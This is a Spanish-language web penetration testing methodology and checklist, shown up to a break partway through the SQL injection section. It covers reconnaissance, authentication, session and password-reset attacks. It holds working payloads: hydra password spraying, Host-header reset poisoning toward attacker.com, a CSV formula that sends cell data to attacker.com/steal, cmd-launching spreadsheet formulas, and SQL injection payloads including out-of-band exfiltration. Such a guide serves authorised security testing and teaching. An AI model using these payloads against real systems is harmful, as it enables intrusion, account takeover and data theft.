Skip to content

Web Penetration Testing — Metodología Completa

Basada en PayloadsAllTheThings · PortSwigger Web Security Academy · Pentesting Web Checklist


Índice

  1. Fase de Reconocimiento
  2. Red e Infraestructura
  3. Preparación
  4. Gestión de Usuarios — Registro
  5. Autenticación
  6. Sesión y Cookies
  7. Perfil y Detalles de Cuenta
  8. Recuperación y Reset de Contraseña
  9. Manejo de Inputs — Inyecciones
  10. Manejo de Errores
  11. Lógica de Aplicación
  12. Upload de Archivos Inseguros
  13. JWT — JSON Web Tokens
  14. CORS Misconfiguration
  15. CSRF
  16. Prototype Pollution
  17. GraphQL Injection
  18. HTTP Parameter Pollution (HPP)
  19. Race Conditions
  20. Type Juggling (PHP)
  21. Zip Slip
  22. Dependency Confusion
  23. API Key Leaks y Source Code Management
  24. Infraestructura
  25. CAPTCHA
  26. Headers de Seguridad

1. Fase de Reconocimiento

1.1 Scope grande — empresa / múltiples dominios

  • [ ] Obtener ASN y rangos de IP
  • [ ] Revisar últimas adquisiciones de la empresa
  • [ ] Obtener relaciones por registrantes (viewdns)
  • [ ] Aplicar scope medio para cada dominio encontrado

Obtener ASN y rangos de IP del objetivo:

bash
amass intel -org "Target Corp"
bash
asnlookup -o "Target Corp"
bash
metabigor net --org "Target Corp"
bash
whois -h whois.radb.net -- '-i origin AS12345'

Amass en modo intel consulta múltiples fuentes OSINT para mapear la infraestructura de red de la organización. El resultado incluye rangos CIDR que luego sirven de base para el port scan. asnlookup es más rápido para validaciones puntuales.

Obtener relaciones por registrantes:

bash
viewdns.info
bash
whois target.com | grep -i "registrant\|org\|email"

Buscar dominios registrados por el mismo email o entidad legal. Esto descubre activos que no aparecen en ningún scope oficial pero pertenecen a la empresa.

Zone Transfer:

bash
dig axfr @ns1.target.com target.com
bash
host -t axfr target.com ns1.target.com

Si el servidor DNS está mal configurado, devuelve todos los registros del dominio de una sola vez. Poco común en producción pero siempre vale la pena probar.


1.2 Scope medio — dominio único

  • [ ] Enumerar subdominios (amass, subfinder con todos los API keys)
  • [ ] Subdomain bruteforce (puredns con wordlist)
  • [ ] Permutar subdominios (gotator, ripgen)
  • [ ] Identificar subdominios vivos (httpx)
  • [ ] Subdomain takeovers (nuclei-takeovers)
  • [ ] Verificar cloud assets (cloudenum)
  • [ ] Shodan search
  • [ ] Búsqueda recursiva de subdominios
  • [ ] Tomar screenshots (gowitness, aquatone)

Enumeración pasiva de subdominios:

bash
amass enum -passive -d target.com -o subdomains_passive.txt
bash
subfinder -d target.com -all -o subdomains_sf.txt
bash
cat subdomains_passive.txt subdomains_sf.txt | sort -u > all_subdomains.txt

Amass con -passive no genera tráfico directo hacia el objetivo. Subfinder con -all usa todas las fuentes configuradas. Combinar ambas herramientas maximiza la cobertura.

Brute force de subdominios:

bash
puredns bruteforce /opt/SecLists/Discovery/DNS/best-dns-wordlist.txt target.com -r resolvers.txt -o subdomains_brute.txt

puredns resuelve masivamente usando resolvers confiables, filtrando los falsos positivos que genera el wildcard DNS. La wordlist de SecLists best-dns-wordlist.txt tiene buena relación cobertura/velocidad.

Permutaciones de subdominios:

bash
gotator -sub all_subdomains.txt -perm permutations.txt -depth 1 -numbers 10 | sort -u > permuted.txt
bash
puredns resolve permuted.txt -r resolvers.txt -o subdomains_permuted.txt

Gotator genera variaciones como dev-api, api2, staging-api a partir de los subdominios ya descubiertos. Muchos entornos de staging o dev se descubren solo así.

Identificar subdominios vivos:

bash
cat all_subdomains.txt subdomains_brute.txt subdomains_permuted.txt | sort -u | httpx -silent -title -tech-detect -status-code -o live.txt

httpx hace probing HTTP/HTTPS, detecta tecnologías (Wappalyzer integrado), y filtra los subdominios que realmente responden. La bandera -tech-detect es clave para priorizar.

Subdomain takeovers:

bash
nuclei -l all_subdomains.txt -t nuclei-templates/takeovers/ -o takeovers.txt
bash
subjack -w all_subdomains.txt -t 100 -o subjack_results.txt -ssl

Un takeover ocurre cuando un CNAME apunta a un servicio externo (Heroku, GitHub Pages, S3) que ya no está registrado. El atacante puede registrar ese servicio y tomar control del subdominio.

Cloud assets:

bash
cloud_enum -k "targetcorp" -l cloud_assets.txt

Busca buckets S3, blobs de Azure, y buckets de GCP relacionados con el nombre de la empresa usando permutaciones comunes.

Shodan:

bash
shodan search "hostname:target.com" --fields ip_str,port,hostnames,org
bash
shodan search "org:\"Target Corp\"" --fields ip_str,port,vulns,product

Shodan tiene una copia del estado histórico de los servicios expuestos en internet, incluidos puertos no estándar, versiones de software y CVEs asociados.

Screenshots:

bash
gowitness scan -f live.txt --write-db
bash
aquatone -hosts live.txt -out aquatone_report/

Los screenshots permiten revisar visualmente decenas o cientos de subdominios en minutos para identificar paneles de administración, aplicaciones legacy o servicios expuestos sin revisar uno a uno.


1.3 Scope pequeño — sitio web individual

  • [ ] Identificar servidor web, tecnologías y base de datos
  • [ ] Localizar /robots.txt, /crossdomain.xml, /clientaccesspolicy.xml, /sitemap.xml, /.well-known/
  • [ ] Revisar comentarios en código fuente (Burp Engagement Tools)
  • [ ] Enumeración de directorios y fuzzing
  • [ ] Buscar IDs y emails filtrados (pwndb)
  • [ ] Identificar WAF
  • [ ] Google dorking
  • [ ] GitHub dorking
  • [ ] Obtener URLs (gau, waybackurls, gospider)
  • [ ] Verificar URLs potencialmente vulnerables (gf-patterns)
  • [ ] XSS automático (dalfox)
  • [ ] Localizar panel admin y login
  • [ ] Broken link hijacking (blc)
  • [ ] Obtener todos los archivos JS (subjs, xnLinkFinder)
  • [ ] JS hardcoded APIs y secrets (nuclei-tokens)
  • [ ] Análisis JS (JSA, getjswords)
  • [ ] Scanner automático (nuclei)
  • [ ] Test CORS (CORScanner, corsy)

Fingerprinting del servidor:

bash
whatweb -v target.com
bash
httpx -u target.com -tech-detect -title -status-code -server -content-type -web-server

Identificar tecnologías permite buscar vulnerabilidades específicas (WordPress, Joomla, Apache Struts, etc.) en lugar de hacer pruebas genéricas.

Archivos de configuración y rutas comunes:

bash
for path in robots.txt sitemap.xml .well-known/security.txt crossdomain.xml clientaccesspolicy.xml .htaccess web.config phpinfo.php server-status; do
  echo -n "$path: " && curl -sk -o /dev/null -w "%{http_code}" "https://target.com/$path" && echo
done

robots.txt puede revelar rutas que el dueño no quiere indexar pero que existen. /server-status expone información de Apache. /.well-known/security.txt indica si hay un programa de bug bounty activo.

Identificar WAF:

bash
wafw00f https://target.com
bash
whatwaf -u https://target.com

Conocer el WAF antes de empezar permite seleccionar los bypass adecuados para cada técnica de inyección.

Google dorking:

bash
site:target.com filetype:pdf OR filetype:xls OR filetype:docx
bash
site:target.com inurl:admin OR inurl:login OR inurl:panel OR inurl:dashboard
bash
site:target.com "error" OR "exception" OR "stack trace" OR "SQL syntax"
bash
site:target.com ext:php OR ext:asp OR ext:aspx OR ext:jsp OR ext:env
bash
"@target.com" password OR secret OR credentials
bash
site:pastebin.com "target.com"

Los dorks de Google acceden a información indexada que el servidor no protege. Los errores de SQL y stack traces revelan tecnologías y rutas internas. Las búsquedas en Pastebin frecuentemente muestran credenciales o tokens filtrados.

GitHub dorking:

bash
org:TargetOrg password
bash
org:TargetOrg secret api_key token
bash
org:TargetOrg "target.com" config
bash
githound --dig-commits target.com
bash
trufflehog github --org=TargetOrg --issue-comments --pr-comments

Los developers suelen commitear credenciales o configuraciones sensibles accidentalmente. GitHub indexa el historial completo, incluyendo commits que "borraron" el secreto pero que siguen visibles en el historial.

URLs históricas y activas:

bash
gau target.com --subs -o gau_urls.txt
bash
waybackurls target.com > wayback_urls.txt
bash
gospider -s https://target.com -d 3 -c 20 -o gospider_output/
bash
cat gau_urls.txt wayback_urls.txt > all_urls.txt && sort -u all_urls.txt | uro > urls_dedup.txt

La Wayback Machine guarda versiones de páginas que ya no existen en producción, revelando endpoints antiguos, parámetros eliminados o funcionalidades deprecadas que aún pueden seguir activos en el servidor.

Filtrar URLs potencialmente vulnerables:

bash
cat urls_dedup.txt | gf sqli  > sqli_candidates.txt
cat urls_dedup.txt | gf xss   > xss_candidates.txt
cat urls_dedup.txt | gf ssrf  > ssrf_candidates.txt
cat urls_dedup.txt | gf redirect > redirect_candidates.txt
cat urls_dedup.txt | gf lfi   > lfi_candidates.txt
cat urls_dedup.txt | gf rce   > rce_candidates.txt

gf-patterns usa expresiones regulares para identificar parámetros que históricamente son vulnerables a ciertos tipos de inyección (por nombre de parámetro, estructura de la URL, etc.).

XSS automático:

bash
dalfox file xss_candidates.txt --skip-bav -o dalfox_results.txt
bash
dalfox url "https://target.com/search?q=test" --blind "https://blind.interactsh.com"

Dalfox es actualmente la herramienta más rápida y precisa para XSS automatizado. La opción --blind permite detectar XSS que no tienen reflejo visible en la respuesta.

Archivos JavaScript:

bash
subjs -i live.txt -o js_files.txt
bash
xnLinkFinder -i https://target.com -d 3 -o links.txt

Los archivos JS frecuentemente contienen endpoints de API no documentados, comentarios con rutas internas, tokens hardcodeados y lógica de negocio que revela vulnerabilidades.

Buscar secretos en JS:

bash
nuclei -l js_files.txt -t nuclei-templates/exposures/tokens/ -o js_secrets.txt
bash
trufflehog filesystem ./js_downloads/
bash
cat js_files.txt | xargs -I{} curl -sk {} | grep -Eo "(AKIA[0-9A-Z]{16}|ghp_[a-zA-Z0-9]{36}|sk-[a-zA-Z0-9]{48}|AIza[0-9A-Za-z\-_]{35})"

Los tokens de AWS (AKIA...), GitHub (ghp_...), OpenAI (sk-...) y Google (AIza...) son los más frecuentes y tienen impacto directo si son válidos.

Enumeración de directorios:

bash
ffuf -u https://target.com/FUZZ -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -mc 200,301,302,403 -t 50 -o ffuf_dirs.json
bash
feroxbuster -u https://target.com -w /opt/SecLists/Discovery/Web-Content/raft-large-words.txt --auto-tune -o feroxbuster.txt

ffuf es el fuzzer más rápido. feroxbuster hace recursión automática. Los códigos 403 son valiosos porque indican que la ruta existe pero está protegida — puede ser bypasseable con técnicas de path normalization.

Broken link hijacking:

bash
blc https://target.com -ro --filter-level 1 | grep "BROKEN"

Si el sitio tiene links a dominios externos expirados, el atacante puede registrar esos dominios y servir contenido malicioso que los usuarios del sitio cargarán.

Paneles de administración:

bash
ffuf -u https://target.com/FUZZ -w /opt/SecLists/Discovery/Web-Content/common-admin-panels.txt -mc 200,301,302

Paneles como /admin, /manager, /console, /wp-admin, /phpmyadmin suelen estar expuestos o protegidos con credenciales débiles.

Scanner automatizado:

bash
nuclei -l live.txt -t nuclei-templates/ -severity critical,high,medium -o nuclei_results.txt

Nuclei tiene más de 8000 templates que cubren CVEs conocidos, misconfigurations, exposición de archivos sensibles y mucho más. Siempre ejecutar antes de las pruebas manuales para resolver lo evidente.

Test CORS:

bash
corsy -u https://target.com -H "Cookie: session=abc"
bash
CORScanner -u https://target.com

2. Red e Infraestructura

  • [ ] Verificar si se permiten paquetes ICMP
  • [ ] Revisar políticas DMARC/SPF (spoofcheck)
  • [ ] Puertos abiertos con Shodan
  • [ ] Port scan a todos los puertos
  • [ ] Verificar puertos UDP
  • [ ] Test SSL/TLS
  • [ ] Con credenciales: password spraying en todos los servicios descubiertos

ICMP:

bash
ping -c 3 target.com

Si ICMP está habilitado permite mapear topología de red y verificar alcanzabilidad. Su bloqueo suele indicar un entorno más endurecido.

DMARC y SPF:

bash
spoofcheck target.com
bash
dig txt _dmarc.target.com
bash
dig txt target.com | grep -i "spf\|dmarc\|v=spf"

Si DMARC/SPF están ausentes o mal configurados, es posible enviar emails suplantando el dominio de la empresa (email spoofing), lo cual habilita ataques de phishing muy convincentes.

Port scan completo:

bash
nmap -sV -sC -p- --min-rate 5000 -oA nmap_full target.com
bash
nmap -sU --top-ports 200 -oA nmap_udp target.com

El scan a todos los puertos (-p-) descubre servicios en puertos no estándar que el scan por defecto (top 1000) pasaría por alto. Servicios como Jenkins en 8080, Elasticsearch en 9200 o Redis en 6379 son frecuentes.

SSL/TLS:

bash
testssl --html testssl.html https://target.com
bash
sslscan target.com

testssl detecta suites de cifrado débiles, protocolos deprecados (SSLv3, TLS 1.0), certificados expirados y vulnerabilidades como HEARTBLEED, POODLE, BEAST o ROBOT.

Password spraying (si se obtienen credenciales):

bash
crackmapexec smb target.com -u users.txt -p 'Password123' --no-brute
bash
hydra -L users.txt -p 'Password123' target.com http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"

Password spraying prueba una sola contraseña común contra muchos usuarios para evitar lockouts. Contraseñas como Company2024!, Summer2024 o Welcome1 son frecuentemente válidas en entornos corporativos.


3. Preparación

  • [ ] Estudiar la estructura del sitio
  • [ ] Crear lista con todos los casos de prueba posibles
  • [ ] Entender el área de negocio y qué necesita el cliente
  • [ ] Obtener lista de todos los assets (all_subdomains.txt, live_subdomains.txt, waybackurls.txt, hidden_directories.txt, nmap_results.txt, GitHub_search.txt, altdns_subdomain.txt, vulnerable_links.txt, js_files.txt)

Antes de atacar, mapear el flujo de la aplicación: ¿cómo se autentica? ¿qué roles existen? ¿qué acciones tienen impacto económico? Las vulnerabilidades de lógica de negocio solo se encuentran si se entiende el negocio. Un bug en un e-commerce que permite comprar gratis tiene más impacto que un XSS reflejado en una página de error.


4. Gestión de Usuarios — Registro

  • [ ] Registro duplicado (probar con mayúsculas, +1@..., puntos en el nombre, etc.)
  • [ ] Sobreescribir usuario existente (existing user takeover)
  • [ ] Unicidad del nombre de usuario
  • [ ] Política de contraseñas débil (user=password, 123456, 111111, abcabc, qwerty12)
  • [ ] Proceso de verificación de email insuficiente (también my%00email@mail.com para account takeover)
  • [ ] Implementación de registro débil o que permite emails desechables
  • [ ] Fuzzear después de crear el usuario para verificar si alguna carpeta fue sobreescrita o creada
  • [ ] Agregar solo espacios como contraseña
  • [ ] Contraseña larga (>200 caracteres) lleva a DoS
  • [ ] Defectos de autenticación y sesión: registrarse, no verificar, pedir cambio de contraseña, cambiar, verificar si la cuenta está activa
  • [ ] Re-registrar repitiendo el mismo request con la misma y diferente contraseña
  • [ ] Si es JSON, agregar coma:
  • [ ] Falta de confirmación → intentar registrarse con email de la empresa
  • [ ] Verificar OAuth con registro via redes sociales
  • [ ] Verificar parámetro state en registro con redes sociales
  • [ ] Intentar capturar URL de integración para takeover de integración
  • [ ] Verificar redirecciones en la página de registro después del login
  • [ ] Rate limit en creación de cuentas
  • [ ] XSS en nombre o email

Registro duplicado con variaciones:

Probar registrar el mismo usuario con variaciones que algunos sistemas normalizan antes de guardar:

  • Admin, ADMIN, admin (espacio final), admin\t (tab), ádmin (unicode)
  • user+test@mail.com, u.s.e.r@mail.com, user@MAIL.COM
  • my%00email@mail.com — el null byte puede truncar el email en la búsqueda pero no en el registro

Si el sistema normaliza el input al consultar la DB pero no al insertarlo, puede que el registro de "admin " dispare el reset de contraseña del usuario "admin" legítimo.

Contraseña larga para DoS:

Algunos backends aplican bcrypt directamente al input del usuario sin limitar el tamaño. bcrypt es intencionalmente lento para resistir brute force, pero procesar una contraseña de 1 MB puede tardar segundos y agotar los workers disponibles.

password = "A" * 50000

Enviar este payload en el campo de contraseña durante el registro o login para medir el tiempo de respuesta.

XSS en campos de nombre:

<script>alert(document.domain)</script>
"><img src=x onerror=alert(1)>

El nombre del usuario suele mostrarse en el panel de administración. Un XSS almacenado aquí puede comprometer la cuenta del admin cuando revise la lista de usuarios.


5. Autenticación

  • [ ] Enumeración de usuarios
  • [ ] Resistencia al adivinar contraseñas
  • [ ] Función de recuperación de cuenta
  • [ ] Función "recuérdame"
  • [ ] Función de impersonación
  • [ ] Distribución insegura de credenciales
  • [ ] Condiciones fail-open
  • [ ] Mecanismos multi-etapa
  • [ ] SQL Injections
  • [ ] Testing de autocompletado
  • [ ] Falta de confirmación de contraseña en cambio de email, contraseña o 2FA (intentar cambiar la respuesta)
  • [ ] Función de login débil sobre HTTP y HTTPS si ambos están disponibles
  • [ ] Mecanismo de lockout en ataque de brute force
  • [ ] Verificar wordlist de contraseñas (cewl, burp-goldenNuggets)
  • [ ] Testear funcionalidad de login OAuth para open redirection
  • [ ] Testear tampering de respuesta en autenticación SAML
  • [ ] En OTP verificar códigos predecibles y race conditions
  • [ ] OTP, verificar manipulación de respuesta para bypass
  • [ ] OTP, intentar brute force
  • [ ] Si hay JWT, verificar fallas comunes
  • [ ] Debilidad de caché del browser (Pragma, Expires, Max-age)
  • [ ] Después de registrarse, cerrar sesión, limpiar caché, ir a la home y pegar la URL del perfil en el browser, verificar "login?next=accounts/profile"
  • [ ] Intentar login con credenciales comunes

Enumeración de usuarios:

bash
ffuf -u https://target.com/login -X POST -d "username=FUZZ&password=wrongpass" \
  -w /opt/SecLists/Usernames/top-usernames-shortlist.txt \
  -mr "Invalid password" -mc 200

Si el mensaje de error es diferente cuando el usuario existe ("Invalid password") vs cuando no existe ("User not found"), el sistema enumera usuarios. Buscar también diferencias sutiles en tiempo de respuesta o tamaño de la respuesta.

Brute force con wordlist generada del sitio:

bash
cewl https://target.com -m 8 -d 3 -w cewl_wordlist.txt
bash
hydra -L users.txt -P cewl_wordlist.txt target.com http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials"

cewl extrae palabras del propio sitio web para construir una wordlist personalizada. Las empresas suelen tener contraseñas relacionadas con su nombre, productos o jerga interna.

Bypass de lockout via header:

X-Forwarded-For: 1.2.3.4
X-Real-IP: 1.2.3.4
X-Originating-IP: 1.2.3.4

Algunos sistemas implementan el lockout por IP leyendo estos headers en lugar de la IP real. Cambiar el valor del header entre intentos puede bypassear el bloqueo.

Open redirect en login OAuth:

/login?next=javascript:alert(1);//
/login?next=//evil.com
/oauth/authorize?redirect_uri=https://attacker.com

Si el parámetro next o redirect_uri no está validado, después del login el usuario es redirigido al sitio del atacante — que puede capturar el token de sesión o el código OAuth desde el Referer.

Bypass de OTP por manipulación de respuesta:

  1. Interceptar la respuesta del servidor al enviar un OTP incorrecto
  2. Cambiar {"success": false, "message": "Invalid OTP"}{"success": true}
  3. Verificar si la aplicación acepta la sesión como válida

Muchas implementaciones validan el OTP solo en el cliente después de recibir la respuesta del servidor, sin verificar el valor real antes de otorgar acceso.

Test de login con credenciales comunes:

admin:admin / admin:password / admin:123456
root:root / root:toor
administrator:administrator
test:test / user:user / guest:guest
[empresa]:Password1 / [empresa]2024!

6. Sesión y Cookies

  • [ ] Manejo de sesiones
  • [ ] Testear tokens para que tengan significado
  • [ ] Testear tokens para predictibilidad
  • [ ] Transmisión insegura de tokens
  • [ ] Exposición de tokens en logs
  • [ ] Mapeo de tokens a sesiones
  • [ ] Terminación de sesiones
  • [ ] Session fixation
  • [ ] Cross-site request forgery
  • [ ] Scope de cookies
  • [ ] Decodificar cookie (Base64, hex, URL, etc.)
  • [ ] Tiempo de expiración de cookies
  • [ ] Verificar flags HTTPOnly y Secure
  • [ ] Usar la misma cookie desde una IP o sistema diferente
  • [ ] Controles de acceso
  • [ ] Efectividad de controles usando múltiples cuentas
  • [ ] Métodos de control de acceso inseguros (parámetros de request, header Referer, etc.)
  • [ ] Verificar login concurrente desde diferente máquina/IP
  • [ ] Bypass de tokens Anti-CSRF
  • [ ] Preguntas de seguridad débiles
  • [ ] Path traversal en cookies
  • [ ] Reusar cookie después de cerrar sesión
  • [ ] Cerrar sesión y click en el botón "atrás" del browser (Alt + Flecha izquierda)
  • [ ] 2 instancias abiertas, 1ra cambia o resetea contraseña, refrescar 2da instancia
  • [ ] Con usuario privilegiado realizar acciones privilegiadas, intentar repetir con cookie de usuario sin privilegios

Análisis de la cookie:

bash
echo "dXNlcm5hbWU9YWRtaW4mcm9sZT11c2Vy" | base64 -d
bash
echo "cookie_value" | python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read()))"

Muchas aplicaciones codifican datos sensibles en la cookie sin cifrarlos. Un role=user en base64 puede cambiarse a role=admin.

Verificar flags de la cookie:

bash
curl -s -I https://target.com/login | grep -i "set-cookie"

La ausencia de HttpOnly permite leer la cookie via JavaScript (XSS). La ausencia de Secure permite transmitirla en HTTP. La ausencia de SameSite facilita ataques CSRF.

Análisis de aleatoriedad del token:

Usar Burp Suite > Sequencer: capturar múltiples respuestas con Set-Cookie y analizar la entropía del token. Un token con baja entropía es predecible y puede ser forzado.

Session fixation:

  1. Obtener un session ID antes de autenticarse
  2. Autenticarse con ese session ID (via parámetro URL o cookie manipulada)
  3. Verificar si el session ID cambia después del login exitoso

Si el session ID no rota post-login, un atacante que forzó el session ID de la víctima puede tomar su sesión una vez que ella se autentique.

Cookie scope:

Domain=.target.com  → compartida con todos los subdominios
Path=/              → disponible en toda la aplicación

Una cookie con Domain=.target.com es accesible desde evil.target.com. Si hay un subdominio comprometido o con XSS, puede robar la cookie de sesión principal.


7. Perfil y Detalles de Cuenta

  • [ ] Encontrar parámetro con ID de usuario e intentar tamperear para obtener detalles de otros usuarios
  • [ ] Crear lista de features que pertenecen solo a una cuenta de usuario y probar CSRF en cada una
  • [ ] Cambiar ID de email y actualizar con cualquier ID de email existente. Verificar si se valida en el servidor
  • [ ] Verificar enlace de confirmación de nuevo email y qué pasa si el usuario no confirma
  • [ ] File upload: eicar, sin límite de tamaño, extensión de archivo, filter bypass, RCE
  • [ ] CSV import/export: command injection, XSS, macro injection
  • [ ] Verificar URL de foto de perfil para encontrar email/info de usuario o datos EXIF de geolocalización
  • [ ] Imagetragick en upload de foto de perfil
  • [ ] Metadata de todos los archivos descargables (geolocalización, usernames)
  • [ ] Opción de eliminación de cuenta e intentar reactivar con la función "Olvidé mi contraseña"
  • [ ] Probar enumeración por fuerza bruta al cambiar cualquier parámetro único del usuario
  • [ ] Verificar re-autenticación de la aplicación para operaciones sensibles
  • [ ] Probar parameter pollution para agregar dos valores del mismo campo
  • [ ] Verificar política de diferentes roles

IDOR en parámetros de usuario:

GET /api/users/1234/profile → cambiar a /api/users/1235/profile
GET /api/orders?user_id=1234 → cambiar user_id al de otra cuenta
POST /api/change-email {"user_id": "1234", "email": "attacker@evil.com"}

Los IDOR son una de las vulnerabilidades más frecuentes en APIs. Siempre intercambiar IDs entre cuentas propias (dos cuentas de prueba) antes de escalar.

Exif y metadata:

bash
exiftool downloaded_image.jpg
bash
exiftool *.pdf | grep -i "author\|creator\|producer\|gps"

Los archivos de Office y PDF contienen el nombre del author, software usado y a veces rutas de sistema internas. Las imágenes pueden tener coordenadas GPS que revelan la ubicación física de los servidores o de los empleados.

CSV injection:

=cmd|' /C calc'!A0
=HYPERLINK("https://attacker.com/steal?c="&A1,"Click here")
@SUM(1+1)*cmd|' /C calc'!A0
-2+3+cmd|' /C calc'!A0

Si la aplicación permite importar CSV y luego exportarlos a Excel, fórmulas inyectadas en los campos del CSV se ejecutan cuando el usuario abre el archivo exportado.


8. Recuperación y Reset de Contraseña

  • [ ] Invalidar sesión al cerrar sesión y al resetear contraseña
  • [ ] Unicidad del link/código de reset de contraseña
  • [ ] Tiempo de expiración de links de reset
  • [ ] Encontrar user ID u otros campos sensibles en el link de reset y tampearlos
  • [ ] Solicitar 2 links de reset de contraseña y usar el más antiguo
  • [ ] Verificar si muchos requests tienen tokens secuenciales
  • [ ] Usar username@burp_collab.net y analizar el callback
  • [ ] Host header injection para filtración de token
  • [ ] Agregar X-Forwarded-Host: evil.com para recibir el link de reset con evil.com
  • [ ] Email crafting como victim@gmail.com@target.com
  • [ ] IDOR en link de reset
  • [ ] Capturar token de reset y usar con otro email/userID
  • [ ] Sin TLD en el parámetro de email
  • [ ] Carbon copy: email=victim@mail.com%0a%0dcc:hacker@mail.com
  • [ ] Contraseña larga (>200) lleva a DoS
  • [ ] Sin rate limit, capturar request y enviar más de 1000 veces
  • [ ] Verificar cifrado en el token de reset de contraseña
  • [ ] Filtración de token en header Referer
  • [ ] Agregar segundo parámetro y valor de email
  • [ ] Entender cómo se genera el token (timestamp, username, fecha de nacimiento)
  • [ ] Response manipulation

Host header injection para reset poisoning:

POST /forgot-password HTTP/1.1
Host: attacker.com
X-Forwarded-Host: attacker.com
X-Host: attacker.com

El servidor genera el link de reset usando el header Host. Si lo toma sin validar, el email que recibe la víctima contiene un link a attacker.com/reset?token=XXX. El atacante captura el token en sus logs y resetea la contraseña.

Email parameter pollution:

email=victim@mail.com&email=hacker@mail.com
{"email":["victim@mail.com","hacker@mail.com"]}
email=victim@mail.com%0a%0dcc:hacker@mail.com
email=victim@mail.com%0a%0dbcc:hacker@mail.com
email=victim@mail.com,hacker@mail.com
email=victim@mail.com|hacker@mail.com
email=victim@mail.com%20hacker@mail.com

El servidor puede enviar el email de reset a múltiples destinatarios si interpreta alguna de estas variaciones como una lista.

Token en Referer:

  1. Solicitar reset de contraseña para victim@mail.com
  2. Recibir el email con el link de reset
  3. Hacer click en el link SIN cambiar la contraseña
  4. Desde esa página, hacer click en cualquier link externo (redes sociales del sitio, etc.)
  5. Capturar el request con Burp y revisar si el header Referer contiene el token de reset

IDOR en el link de reset:

https://target.com/reset?token=abc123&user_id=1234

Cambiar user_id=1235 puede permitir usar un token propio para resetear la contraseña de otro usuario, si el servidor no valida que el token pertenezca al user_id indicado.

Tokens secuenciales:

Solicitar múltiples resets en rápida sucesión. Si los tokens son a1b2c3d4, a1b2c3d5, a1b2c3d6..., el algoritmo es predecible y puede intentarse adivinar el token enviado a la víctima.


9. Manejo de Inputs — Inyecciones

9.1 SQL Injection

  • [ ] SQL Injection en todos los parámetros (GET, POST, headers, cookies)
  • [ ] SQL injection via User-Agent Header
  • [ ] Inyección con ' y '--+-

Detección

Caracteres de detección básicos:

' " ` ; ) -- -  /*  '*/ ')) OR 1=1--
%27 %22 %60 %3B
%%2727  (doble encode)

Identificar el DBMS por keywords específicas:

DBMSPayload de identificación
MySQLconv('a',16,2)=conv('a',16,2)
MySQLcrc32('MySQL')=crc32('MySQL')
MSSQLBINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)
MSSQL@@CONNECTIONS>0
OracleROWNUM=ROWNUM
OracleRAWTOHEX('AB')=RAWTOHEX('AB')
PostgreSQL5::int=5
PostgreSQLpg_client_encoding()=pg_client_encoding()
SQLitesqlite_version()=sqlite_version()

Identificar el DBMS por mensajes de error:

DBMSMensaje de error típico
MySQLYou have an error in your SQL syntax...
PostgreSQLERROR: unterminated quoted string...
MSSQLUnclosed quotation mark after the character string
OracleORA-00933: SQL command not properly ended

sqlmap — automático:

bash
sqlmap -u "https://target.com/page?id=1" --dbs --batch --random-agent
bash
sqlmap -u "https://target.com/page?id=1" -D dbname --tables
bash
sqlmap -u "https://target.com/page?id=1" -D dbname -T users --dump
bash
sqlmap -r request.txt --dbs --batch --level=5 --risk=3
bash
sqlmap -u "https://target.com/" --cookie="session=abc*" --dbs

El * en el parámetro de la cookie indica a sqlmap que pruebe inyección en ese punto. Con --level=5 --risk=3 se activan todas las técnicas de detección incluyendo las más agresivas.

Bypass de WAF con tamper scripts:

bash
sqlmap -u "https://target.com/page?id=1" --tamper=space2comment,between,randomcase,charencode --dbs

Los tamper scripts transforman el payload: space2comment convierte espacios en /**/, randomcase mezcla mayúsculas/minúsculas, charencode codifica caracteres especiales.

UNION-based

Determinar número de columnas:

sql
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--

Incrementar hasta que la query falle — el número anterior es la cantidad de columnas.

sql
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--

Encontrar columnas que muestran texto:

sql
' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,NULL,'a'--

Extraer datos del sistema:

sql
' UNION SELECT username,password FROM users--
' UNION SELECT table_name,NULL FROM information_schema.tables--
' UNION SELECT column_name,table_name FROM information_schema.columns WHERE table_name='users'--

Oracle requiere FROM en todo SELECT:

sql
' UNION SELECT NULL FROM DUAL--
' UNION SELECT banner,NULL FROM v$version--

Error-based

MySQL extractvalue:

sql
' AND extractvalue(1,concat(0x7e,(SELECT version())))--
sql
' AND extractvalue(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database())))--

MySQL updatexml:

sql
' AND updatexml(1,concat(0x7e,(SELECT database())),1)--

PostgreSQL — cast a numeric:

sql
' AND CAST((SELECT version()) AS numeric)--

El error revela el output: invalid input syntax for type numeric: "PostgreSQL 14.5...".

MSSQL — convert:

sql
' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--

Blind boolean-based

Confirmar vulnerabilidad:

sql
?id=1 AND 1=1--
?id=1 AND 1=2--

Extraer datos char a char:

sql
?id=1 AND SUBSTRING(version(),1,1)='5'--
?id=1 AND ASCII(SUBSTRING(version(),1,1))>52--
?id=1 AND LENGTH(database())=6--

Blind time-based

MySQL:

sql
?id=1' AND SLEEP(5)--
?id=1' AND IF(SUBSTRING(version(),1,1)='8',SLEEP(5),0)--

MSSQL:

sql
?id=1'; WAITFOR DELAY '0:0:5'--
?id=1' IF (SELECT COUNT(*) FROM users)>0 WAITFOR DELAY '0:0:5'--

PostgreSQL:

sql
?id=1' AND 1=(SELECT 1 FROM PG_SLEEP(5))--

Oracle:

sql
?id=1' AND 1=dbms_pipe.receive_message('a',5)--

Heavy query alternativa (cuando SLEEP está bloqueado):

sql
?id=1' AND BENCHMARK(2000000,MD5(NOW()))--

Out-of-Band (OAST)

MySQL:

sql
LOAD_FILE('\\\\BURP-COLLABORATOR\\a')
SELECT username FROM users INTO OUTFILE '\\\\BURP-COLLABORATOR\\a'

MSSQL:

sql
EXEC master..xp_dirtree '//BURP-COLLABORATOR/a'
EXEC master..xp_fileexist '//BURP-COLLABORATOR/a'

Oracle:

sql
SELECT UTL_HTTP.request('http://BURP-COLLABORATOR') FROM DUAL
SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR') FROM DUAL

PostgreSQL:

sql
COPY (SELECT '') TO PROGRAM 'nslookup BURP-COLLABORATOR'

Bypass de WAF — técnicas manuales

Sin espacios:

sql
